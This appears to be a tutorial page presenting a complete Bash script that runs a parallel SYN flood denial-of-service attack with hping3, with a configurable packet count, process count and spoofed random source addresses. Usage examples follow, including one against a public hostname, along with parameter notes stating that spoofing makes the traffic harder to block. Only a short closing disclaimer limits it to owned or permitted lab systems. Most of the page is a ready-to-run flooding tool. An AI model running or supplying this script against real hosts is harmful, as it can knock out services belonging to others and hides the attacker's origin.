A SYN flood test using hping3 that allows you to specify the number of SYN packets to send and scales horizontally with a specific number of processes can be created using a Bash script with the xargs command. This approach allows you to distribute the workload across multiple processes for better performance.
The Script
This script uses hping3 to perform a SYN flood attack with a configurable packet count and number of parallel processes.
cat > ./syn_flood_parallel.sh << 'EOF'
#!/bin/bash
# A simple script to perform a SYN flood test using hping3,
# with configurable packet count, parallel processes, and optional source IP randomization.
# --- Configuration ---
TARGET_IP=$1
TARGET_PORT=$2
PACKET_COUNT_TOTAL=$3
PROCESSES=$4
RANDOMIZE_SOURCE=${5:-true} # Default to true if not specified
# --- Usage Message ---
if [ -z "$TARGET_IP" ] || [ -z "$TARGET_PORT" ] || [ -z "$PACKET_COUNT_TOTAL" ] || [ -z "$PROCESSES" ]; then
echo "Usage: $0 <TARGET_IP> <TARGET_PORT> <PACKET_COUNT_TOTAL> <PROCESSES> [RANDOMIZE_SOURCE]"
echo ""
echo "Parameters:"
echo " TARGET_IP - Target IP address or hostname"
echo " TARGET_PORT - Target port number (1-65535)"
echo " PACKET_COUNT_TOTAL - Total number of SYN packets to send"
echo " PROCESSES - Number of parallel processes (2-10 recommended)"
echo " RANDOMIZE_SOURCE - true/false (optional, default: true)"
echo ""
echo "Examples:"
echo " $0 192.168.1.1 80 100000 4 # With randomized source IPs (default)"
echo " $0 192.168.1.1 80 100000 4 true # Explicitly enable source IP randomization"
echo " $0 192.168.1.1 80 100000 4 false # Use actual source IP (no randomization)"
exit 1
fi
# --- Main Logic ---
echo "========================================"
echo "Starting SYN flood test on $TARGET_IP:$TARGET_PORT"
echo "Sending $PACKET_COUNT_TOTAL SYN packets with $PROCESSES parallel processes."
echo "Source IP randomization: $RANDOMIZE_SOURCE"
echo "========================================"
# Calculate packets per process
PACKETS_PER_PROCESS=$((PACKET_COUNT_TOTAL / PROCESSES))
# Build hping3 command based on randomization option
if [ "$RANDOMIZE_SOURCE" = "true" ]; then
echo "Using randomized source IPs (--rand-source)"
# Use seq and xargs to parallelize the hping3 command with random source IPs
seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --rand-source --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
else
echo "Using actual source IP (no randomization)"
# Use seq and xargs to parallelize the hping3 command without source randomization
seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
fi
echo ""
echo "========================================"
echo "SYN flood test complete."
echo "Total packets sent: $PACKET_COUNT_TOTAL"
echo "========================================"
EOF
chmod +x ./syn_flood_parallel.sh
Example Usauge:
# Default behavior - randomized source IPs (parameter 5 defaults to true)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4
# Explicitly enable source IP randomization
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 true
# Disable source IP randomization (use actual source IP)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 false
# High-volume test with randomized IPs
./syn_flood_parallel.sh example.com 443 100000 8 true
# Test without IP randomization (easier to trace/debug)
./syn_flood_parallel.sh testserver.local 22 5000 2 false
Explanation of the Parameters:
Parameter 1: TARGET_IP
- The target IP address or hostname
- Examples: 192.168.1.1, example.com, 10.0.0.5
Parameter 2: TARGET_PORT
- The target port number (1-65535)
- Common: 80 (HTTP), 443 (HTTPS), 22 (SSH), 8080
Parameter 3: PACKET_COUNT_TOTAL
- Total number of SYN packets to send
- Range: Any positive integer (e.g., 1000 to 1000000)
Parameter 4: PROCESSES
- Number of parallel hping3 processes to spawn
- Recommended: 2-10 (depending on CPU cores)
Parameter 5: RANDOMIZE_SOURCE (OPTIONAL)
- true: Use randomized source IPs (–rand-source flag)
Makes packets appear from random IPs, harder to block - false: Use actual source IP (no randomization)
Easier to trace and debug, simpler firewall rules - Default: true (if parameter not specified)
Important Considerations ⚠️
• Permissions: hping3 requires root or superuser privileges to craft and send raw packets. You’ll need to run this script with sudo.
• Legal and Ethical Use: This tool is for ethical and educational purposes only. Using this script to perform a SYN flood attack on a network or system you do not own or have explicit permission to test is illegal. Use it in a controlled lab environment.